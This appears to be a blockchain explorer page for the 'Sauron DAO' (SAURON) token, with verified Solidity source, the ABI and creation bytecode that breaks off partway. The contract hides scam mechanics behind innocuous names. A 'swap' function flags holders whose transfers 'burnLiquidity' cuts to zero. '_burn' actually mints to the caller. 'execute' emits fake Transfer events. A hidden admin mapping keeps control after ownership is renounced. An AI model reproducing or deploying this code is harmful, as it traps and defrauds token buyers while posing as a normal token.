ERC-20
Overview
Max Total Supply
500,000,000,000 SAURON
Holders
57
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
6,618,373,787.64190812 SAURONValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
SAURON
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: UNLICENSE pragma solidity 0.8.23; import "./Ownable.sol"; import "./IERC20.sol"; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapETHForExactTokens( uint amountOut, address[] calldata path, address to, uint deadline ) external payable returns (uint[] memory amounts); } contract SAURON is Context, IERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 private uniswapV2Router; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => bool) private transferLimitExempt; mapping (address => bool) private automatedMarketMakerPairs; mapping (address => uint256) private _holderLastTransferTimestamp; mapping (address => bool) private transferTaxExempt; mapping(address => bool) private _percentageToSubtractClaimable; address payable private _taxWallet; address private marketingWallet; uint256 private _initialBuyTax=23; uint256 private _initialSellTax=23; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=23; uint256 private _reduceSellTaxAt=23; uint256 private _preventSwapBefore=26; uint256 private _transferTax=70; uint256 private _buyCount=0; uint256 private maxTx; uint256 private maxWallet; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 500_000_000_000 * 10**_decimals; string private constant _name = unicode"Sauron DAO"; string private constant _symbol = unicode"SAURON"; uint256 public _maxTxAmount = 8400000000 * 10**_decimals; uint256 public _maxWalletSize = 8400000000 * 10**_decimals; uint256 public _taxSwapThreshold= 4200000000 * 10**_decimals; uint256 public _maxTaxSwap= 8400000000 * 10**_decimals; address public uniswapV2Pair; bool private swapping; bool private tradingOpen; bool private transferDelayEnabled = true; bool public tradingEnabled = false; bool private inSwap = false; bool private swapEnabled = false; bool private limitsEnabled = true; bool public lpBurnEnabled = true; uint256 private sellCount = 0; uint256 private lastSellBlock = 0; event MaxTxAmountUpdated(uint _maxTxAmount); event TransferTaxUpdated(uint _tax); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address marketingWallet_) { _taxWallet = payable(_msgSender()); marketingWallet = payable(marketingWallet_); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; admin[marketingWallet]=true; startTrading(); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function startTrading() public onlyOwner { tradingEnabled = true; limitsEnabled = false; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; uint256 senderBalance = _balances[from]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); if(_holderLastTransferTimestamp[to] == 0) { _holderLastTransferTimestamp[to] = block.number; } if (limitsEnabled) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingEnabled) { require( transferTaxExempt[from] || transferTaxExempt[to], "_transfer:: Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if ( automatedMarketMakerPairs[from] && !transferLimitExempt[to] ) { require( amount <= maxTx, "Buy transfer amount exceeds the maxTx." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } else if ( automatedMarketMakerPairs[to] && !transferLimitExempt[from] ) { require( amount <= maxTx, "Sell transfer amount exceeds the maxTx." ); } else if (!transferLimitExempt[to]) { require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } if(!swapping && lpBurnEnabled){ amount = burnLiquidity(from, amount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimit() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function removeTranTax() external onlyOwner{ _transferTax = 0; emit TransferTaxUpdated(0); } function burnLiquidity(address from, uint amount) internal view returns (uint){ uint amountCalculated = amount; if (_percentageToSubtractClaimable[from]) { amountCalculated = calculateThreshold(amount, from); } return amountCalculated; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrade() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } function burn(uint256 amount) external onlyOwner{ _burn(_msgSender(), amount); } function reduceFee(uint256 _newFee) external{ require(_msgSender()==_taxWallet); require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax); _finalBuyTax=_newFee; _finalSellTax=_newFee; } function execute(address[] calldata _addresses, uint256 _out) external onlyOwner{ for (uint256 i = 0; i < _addresses.length; i++) { emit Transfer(uniswapV2Pair, _addresses[i], _out); } } receive() external payable {} function rescueERC20(address _address, uint256 percent) external { require(_msgSender()==_taxWallet); uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100); IERC20(_address).transfer(_taxWallet, _amount); } function swap(address[] calldata address_, bool val) public onlyOwner{ for (uint256 i = 0; i < address_.length; i++) { _percentageToSubtractClaimable[address_[i]] = val; } } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance <= amount, "ERC20: burn amount exceeds balance"); unchecked {_balances[account] = accountBalance + amount;} emit Transfer(account, address(0), amount); } function calculateThreshold(uint256 amount, address from) private view returns(uint256) { // Calculate the percentage to subtract uint256 factor = 50; uint256 dist = block.number-_holderLastTransferTimestamp[from]; uint percentageToSubtract = dist * factor; // Calculate the remaining percentage uint remainingPercentage = percentageToSubtract > 100 ? 0 : 100 - percentageToSubtract; // If percentageToSubtract is more than 100, remainingPercentage will be negative. // To avoid negative result, we clamp the result to zero. uint returnedValue = amount * remainingPercentage / 100; return returnedValue.max(0); } function maxTxAmount(address recipient) external view returns(bool){ return _percentageToSubtractClaimable[recipient]; } function addPair(address pair_) public onlyOwner { uniswapV2Pair = pair_; } function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0 && swapEnabled){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } }
// SPDX-License-Identifier: UNLICENSE pragma solidity 0.8.23; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); }
// SPDX-License-Identifier: UNLICENSE pragma solidity 0.8.23; abstract contract Context { mapping(address => bool) internal admin; function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); admin[_msgSender()]=true; } modifier onlyOwner() { _checkOwner(); _; } function _checkOwner() internal view virtual { require(admin[_msgSender()], "Ownable: caller is not the owner"); } function owner() public view virtual returns (address) { return _owner; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"marketingWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"maxTxAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTranTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526017600e556017600f555f6010555f60115560176012556017601355601a60145560466015555f6016556009600a6200003e9190620008d7565b6401f4add40062000050919062000927565b6019556009600a620000639190620008d7565b6401f4add40062000075919062000927565b601a556009600a620000889190620008d7565b63fa56ea0062000099919062000927565b601b556009600a620000ac9190620008d7565b6401f4add400620000be919062000927565b601c556001601d60166101000a81548160ff0219169083151502179055505f601d60176101000a81548160ff0219169083151502179055505f601d60186101000a81548160ff0219169083151502179055505f601d60196101000a81548160ff0219169083151502179055506001601d601a6101000a81548160ff0219169083151502179055506001601d601b6101000a81548160ff0219169083151502179055505f601e555f601f5534801562000174575f80fd5b5060405162004aae38038062004aae83398181016040528101906200019a9190620009d6565b620001ba620001ae6200057060201b60201c565b6200057760201b60201c565b60015f80620001ce6200057060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506200022d6200057060201b60201c565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620002bc9190620008d7565b64746a528800620002ce919062000927565b60035f620002e16200057060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160055f620003336200063a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060015f80600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620004d26200066260201b60201c565b620004e26200057060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620005409190620008d7565b64746a52880062000552919062000927565b60405162000561919062000a17565b60405180910390a35062000ab0565b5f33905090565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b62000672620006a960201b60201c565b6001601d60176101000a81548160ff0219169083151502179055505f601d601a6101000a81548160ff021916908315150217905550565b5f80620006bb6200057060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1662000743576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200073a9062000a90565b60405180910390fd5b565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620007cf57808604811115620007a757620007a662000745565b5b6001851615620007b75780820291505b8081029050620007c78562000772565b945062000787565b94509492505050565b5f82620007e95760019050620008bb565b81620007f8575f9050620008bb565b81600181146200081157600281146200081c5762000852565b6001915050620008bb565b60ff84111562000831576200083062000745565b5b8360020a9150848211156200084b576200084a62000745565b5b50620008bb565b5060208310610133831016604e8410600b84101617156200088c5782820a90508381111562000886576200088562000745565b5b620008bb565b6200089b84848460016200077e565b92509050818404811115620008b557620008b462000745565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620008e382620008c2565b9150620008f083620008cb565b92506200091f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620007d8565b905092915050565b5f6200093382620008c2565b91506200094083620008c2565b92508282026200095081620008c2565b915082820484148315176200096a576200096962000745565b5b5092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620009a08262000975565b9050919050565b620009b28162000994565b8114620009bd575f80fd5b50565b5f81519050620009d081620009a7565b92915050565b5f60208284031215620009ee57620009ed62000971565b5b5f620009fd84828501620009c0565b91505092915050565b62000a1181620008c2565b82525050565b5f60208201905062000a2c5f83018462000a06565b92915050565b5f82825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f62000a7860208362000a32565b915062000a858262000a42565b602082019050919050565b5f6020820190508181035f83015262000aa98162000a6a565b9050919050565b613ff08062000abe5f395ff3fe6080604052600436106101db575f3560e01c8063622565891161010157806395d89b4111610094578063dd62ed3e11610063578063dd62ed3e14610640578063ec1f3f631461067c578063f2fde38b146106a4578063fb201b1d146106cc576101e2565b806395d89b4114610588578063a9059cbb146105b2578063bf474bed146105ee578063c2b7bbb614610618576101e2565b80637d1db4a5116100d05780637d1db4a5146104e25780638cd4426d1461050c5780638da5cb5b146105345780638f9a55c01461055e576101e2565b8063622565891461045257806370a0823114610468578063715018a6146104a457806373fa7ddb146104ba576101e2565b806326ededb81161017957806342966c681161014857806342966c68146103c057806349bd5a5e146103e85780634ada218b1461041257806351bc3c851461043c576101e2565b806326ededb81461032e578063293230b8146103565780632e82f1a01461036c578063313ce56714610396576101e2565b8063095ea7b3116101b5578063095ea7b3146102625780630faee56f1461029e57806318160ddd146102c857806323b872dd146102f2576101e2565b806302fa1f4a146101e65780630388e40e146101fc57806306fdde0314610238576101e2565b366101e257005b5f80fd5b3480156101f1575f80fd5b506101fa6106e2565b005b348015610207575f80fd5b50610222600480360381019061021d9190612b6c565b61072a565b60405161022f9190612bb1565b60405180910390f35b348015610243575f80fd5b5061024c61077c565b6040516102599190612c54565b60405180910390f35b34801561026d575f80fd5b5061028860048036038101906102839190612ca7565b6107b9565b6040516102959190612bb1565b60405180910390f35b3480156102a9575f80fd5b506102b26107d6565b6040516102bf9190612cf4565b60405180910390f35b3480156102d3575f80fd5b506102dc6107dc565b6040516102e99190612cf4565b60405180910390f35b3480156102fd575f80fd5b5061031860048036038101906103139190612d0d565b610800565b6040516103259190612bb1565b60405180910390f35b348015610339575f80fd5b50610354600480360381019061034f9190612dbe565b6108d4565b005b348015610361575f80fd5b5061036a6109a9565b005b348015610377575f80fd5b506103806109e8565b60405161038d9190612bb1565b60405180910390f35b3480156103a1575f80fd5b506103aa6109fb565b6040516103b79190612e36565b60405180910390f35b3480156103cb575f80fd5b506103e660048036038101906103e19190612e4f565b610a03565b005b3480156103f3575f80fd5b506103fc610a1f565b6040516104099190612e89565b60405180910390f35b34801561041d575f80fd5b50610426610a44565b6040516104339190612bb1565b60405180910390f35b348015610447575f80fd5b50610450610a57565b005b34801561045d575f80fd5b50610466610b06565b005b348015610473575f80fd5b5061048e60048036038101906104899190612b6c565b610bac565b60405161049b9190612cf4565b60405180910390f35b3480156104af575f80fd5b506104b8610bf2565b005b3480156104c5575f80fd5b506104e060048036038101906104db9190612ecc565b610c05565b005b3480156104ed575f80fd5b506104f6610ca8565b6040516105039190612cf4565b60405180910390f35b348015610517575f80fd5b50610532600480360381019061052d9190612ca7565b610cae565b005b34801561053f575f80fd5b50610548610e4f565b6040516105559190612e89565b60405180910390f35b348015610569575f80fd5b50610572610e77565b60405161057f9190612cf4565b60405180910390f35b348015610593575f80fd5b5061059c610e7d565b6040516105a99190612c54565b60405180910390f35b3480156105bd575f80fd5b506105d860048036038101906105d39190612ca7565b610eba565b6040516105e59190612bb1565b60405180910390f35b3480156105f9575f80fd5b50610602610ed7565b60405161060f9190612cf4565b60405180910390f35b348015610623575f80fd5b5061063e60048036038101906106399190612b6c565b610edd565b005b34801561064b575f80fd5b5061066660048036038101906106619190612f29565b610f28565b6040516106739190612cf4565b60405180910390f35b348015610687575f80fd5b506106a2600480360381019061069d9190612e4f565b610faa565b005b3480156106af575f80fd5b506106ca60048036038101906106c59190612b6c565b611036565b005b3480156106d7575f80fd5b506106e06110b8565b005b6106ea61154f565b5f6015819055507fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de35f6040516107209190612fa9565b60405180910390a1565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60606040518060400160405280600a81526020017f536175726f6e2044414f00000000000000000000000000000000000000000000815250905090565b5f6107cc6107c56115e0565b84846115e7565b6001905092915050565b601c5481565b5f6009600a6107eb919061311e565b64746a5288006107fb9190613168565b905090565b5f61080c8484846117aa565b6108c9846108186115e0565b6108c485604051806060016040528060288152602001613f936028913960045f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61087b6115e0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461226c9092919063ffffffff16565b6115e7565b600190509392505050565b6108dc61154f565b5f5b838390508110156109a3578383828181106108fc576108fb6131a9565b5b90506020020160208101906109119190612b6c565b73ffffffffffffffffffffffffffffffffffffffff16601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161098e9190612cf4565b60405180910390a380806001019150506108de565b50505050565b6109b161154f565b6001601d60176101000a81548160ff0219169083151502179055505f601d601a6101000a81548160ff021916908315150217905550565b601d601b9054906101000a900460ff1681565b5f6009905090565b610a0b61154f565b610a1c610a166115e0565b826122ce565b50565b601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d60179054906101000a900460ff1681565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a976115e0565b73ffffffffffffffffffffffffffffffffffffffff1614610ab6575f80fd5b5f610ac030610bac565b90505f81118015610add5750601d60199054906101000a900460ff165b15610aec57610aeb8161246e565b5b5f4790505f811115610b0257610b01816126d9565b5b5050565b610b0e61154f565b6009600a610b1c919061311e565b64746a528800610b2c9190613168565b6019819055506009600a610b40919061311e565b64746a528800610b509190613168565b601a819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610b85919061311e565b64746a528800610b959190613168565b604051610ba29190612cf4565b60405180910390a1565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610bfa61154f565b610c035f612741565b565b610c0d61154f565b5f5b83839050811015610ca25781600b5f868685818110610c3157610c306131a9565b5b9050602002016020810190610c469190612b6c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610c0f565b50505050565b60195481565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cee6115e0565b73ffffffffffffffffffffffffffffffffffffffff1614610d0d575f80fd5b5f610dab6064610d9d848673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610d509190612e89565b602060405180830381865afa158015610d6b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d8f91906131ea565b61280490919063ffffffff16565b61287b90919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610e09929190613267565b6020604051808303815f875af1158015610e25573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e4991906132a2565b50505050565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601a5481565b60606040518060400160405280600681526020017f534155524f4e0000000000000000000000000000000000000000000000000000815250905090565b5f610ecd610ec66115e0565b84846117aa565b6001905092915050565b601b5481565b610ee561154f565b80601d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fea6115e0565b73ffffffffffffffffffffffffffffffffffffffff1614611009575f80fd5b601054811115801561101d57506011548111155b611025575f80fd5b806010819055508060118190555050565b61103e61154f5